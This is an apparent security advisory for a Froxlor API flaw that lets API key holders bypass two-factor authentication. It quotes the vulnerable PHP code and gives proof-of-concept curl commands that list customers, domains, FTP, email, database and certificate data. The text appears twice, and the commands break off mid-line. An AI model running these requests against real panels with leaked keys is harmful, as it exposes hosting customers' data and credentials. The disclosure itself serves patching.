CVE-2026-52793

Froxlor is open source server administration software. Prior to 2.3.7, the API authentication path in lib/Froxlor/Api/FroxlorRPC.php and FroxlorRPC::validateAuth accepts an API key and secret for an administrator or customer account without checking type_2fa, validating a TOTP code, or invoking FroxlorTwoFactorAuth. The web interface requires a second factor for accounts with two-factor authentication enabled, but the API grants access after validating only the API credentials, expiration, API permission, and account status. An attacker who obtains an API key and secret for a protected account can call the available API functions without supplying the configured second factor, which can expose or modify customer data, domains, email and FTP accounts, databases, DNS records, and certificate material. This issue is fixed in version 2.3.7.

Froxlor is open source server administration software. Prior to 2.3.7, the API authentication path in lib/Froxlor/Api/FroxlorRPC.php and FroxlorRPC::validateAuth accepts an API key and secret for an administrator or customer account without checking type_2fa, validating a TOTP code, or invoking FroxlorTwoFactorAuth. The web interface requires a second factor for accounts with two-factor authentication enabled, but the API grants access after validating only the API credentials, expiration, API permission, and account status. An attacker who obtains an API key and secret for a protected account can call the available API functions without supplying the configured second factor, which can expose or modify customer data, domains, email and FTP accounts, databases, DNS records, and certificate material. This issue is fixed in version 2.3.7.

Summary

Froxlor's API authentication (FroxlorRPC::validateAuth) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.

An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.

Affected Code

Web UI — 2FA enforced (index.php:82-149):

if ($result['type_2fa'] != 0) {
    // Redirects to 2FA input page
    // Calls FroxlorTwoFactorAuth::verifyCode()
    // Login is NOT completed without valid TOTP code
}

API — 2FA absent (lib/Froxlor/Api/FroxlorRPC.php:75-105):

private static function validateAuth(string $key, string $secret): bool
{
    $sel_stmt = Database::prepare("
        SELECT ak.*, a.api_allowed as admin_api_allowed,
               c.api_allowed as cust_api_allowed, c.deactivated
        FROM `api_keys` ak
        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
        WHERE `apikey` = :ak AND `secret` = :as
    ");
    $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);
    if ($result) {
        if ($result['apikey'] == $key && $result['secret'] == $secret
            && ($result['valid_until'] == -1 || $result['valid_until'] >= time())
            && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)
                || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1
                    && $result['deactivated'] == 0))) {
            // Checks: key match, secret match, not expired, API allowed, not deactivated
            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status
            return true;
        }
    }
    throw new Exception('Invalid authorization credentials', 403);
}

There are zero references to 2FA, TOTP, type_2fa, or FroxlorTwoFactorAuth in the entire lib/Froxlor/Api/ directory:

$ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/
# (no output)

PoC

Environment

• Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
• API enabled (api.enabled=1)
• Admin account has 2FA enabled (type_2fa=1, TOTP configured)
• Admin has an API key

Step 1: Confirm 2FA blocks web UI login

POST /index.php HTTP/1.1
Host: panel.example.com
Content-Type: application/x-www-form-urlencoded

loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send

Result: Redirect to index.php?showmessage=4 — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.

Step 2: Authenticate via API — no TOTP required

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{"command":"Customers.listing","params":{}}' \
  https://panel.example.com/api.php

Result: HTTP 200 with full customer listing:

{
  "data": {
    "list": [
      {
        "loginname": "testcust",
        "email": "[email protected]",
        "name": "Test",
        "firstname": "Customer"
      }
    ]
  }
}

No TOTP code was provided. No 2FA prompt was returned. Full access granted.

Step 3: Access additional sensitive resources

All of these succeed without any 2FA challenge:

# Domains
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
# FTP accounts (home directories, credentials)
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
# Email accounts
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
# MySQL databases
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
# SSL certificates (private keys)
curl -s -u "KEY:SECRET" -d…

Froxlor is open source server administration software. Prior to 2.3.7, the API authentication path in lib/Froxlor/Api/FroxlorRPC.php and FroxlorRPC::validateAuth accepts an API key and secret for an administrator or customer account without checking type_2fa, validating a TOTP code, or invoking FroxlorTwoFactorAuth. The web interface requires a second factor for accounts with two-factor authentication enabled, but the API grants access after validating only the API credentials, expiration, API permission, and account status. An attacker who obtains an API key and secret for a protected account can call the available API functions without supplying the configured second factor, which can expose or modify customer data, domains, email and FTP accounts, databases, DNS records, and certificate material. This issue is fixed in version 2.3.7.

Froxlor is open source server administration software. Prior to 2.3.7, the API authentication path in lib/Froxlor/Api/FroxlorRPC.php and FroxlorRPC::validateAuth accepts an API key and secret for an administrator or customer account without checking type_2fa, validating a TOTP code, or invoking FroxlorTwoFactorAuth. The web interface requires a second factor for accounts with two-factor authentication enabled, but the API grants access after validating only the API credentials, expiration, API permission, and account status. An attacker who obtains an API key and secret for a protected account can call the available API functions without supplying the configured second factor, which can expose or modify customer data, domains, email and FTP accounts, databases, DNS records, and certificate material. This issue is fixed in version 2.3.7.

Summary

Froxlor's API authentication (FroxlorRPC::validateAuth) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.

An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.

Affected Code

Web UI — 2FA enforced (index.php:82-149):

if ($result['type_2fa'] != 0) {
    // Redirects to 2FA input page
    // Calls FroxlorTwoFactorAuth::verifyCode()
    // Login is NOT completed without valid TOTP code
}

API — 2FA absent (lib/Froxlor/Api/FroxlorRPC.php:75-105):

private static function validateAuth(string $key, string $secret): bool
{
    $sel_stmt = Database::prepare("
        SELECT ak.*, a.api_allowed as admin_api_allowed,
               c.api_allowed as cust_api_allowed, c.deactivated
        FROM `api_keys` ak
        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
        WHERE `apikey` = :ak AND `secret` = :as
    ");
    $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);
    if ($result) {
        if ($result['apikey'] == $key && $result['secret'] == $secret
            && ($result['valid_until'] == -1 || $result['valid_until'] >= time())
            && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)
                || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1
                    && $result['deactivated'] == 0))) {
            // Checks: key match, secret match, not expired, API allowed, not deactivated
            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status
            return true;
        }
    }
    throw new Exception('Invalid authorization credentials', 403);
}

There are zero references to 2FA, TOTP, type_2fa, or FroxlorTwoFactorAuth in the entire lib/Froxlor/Api/ directory:

$ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/
# (no output)

PoC

Environment

• Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
• API enabled (api.enabled=1)
• Admin account has 2FA enabled (type_2fa=1, TOTP configured)
• Admin has an API key

Step 1: Confirm 2FA blocks web UI login

POST /index.php HTTP/1.1
Host: panel.example.com
Content-Type: application/x-www-form-urlencoded

loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send

Result: Redirect to index.php?showmessage=4 — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.

Step 2: Authenticate via API — no TOTP required

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{"command":"Customers.listing","params":{}}' \
  https://panel.example.com/api.php

Result: HTTP 200 with full customer listing:

{
  "data": {
    "list": [
      {
        "loginname": "testcust",
        "email": "[email protected]",
        "name": "Test",
        "firstname": "Customer"
      }
    ]
  }
}

No TOTP code was provided. No 2FA prompt was returned. Full access granted.

Step 3: Access additional sensitive resources

All of these succeed without any 2FA challenge:

# Domains
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
# FTP accounts (home directories, credentials)
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
# Email accounts
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
# MySQL databases
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
# SSL certificates (private keys)
curl -s -u "KEY:SECRET" -d…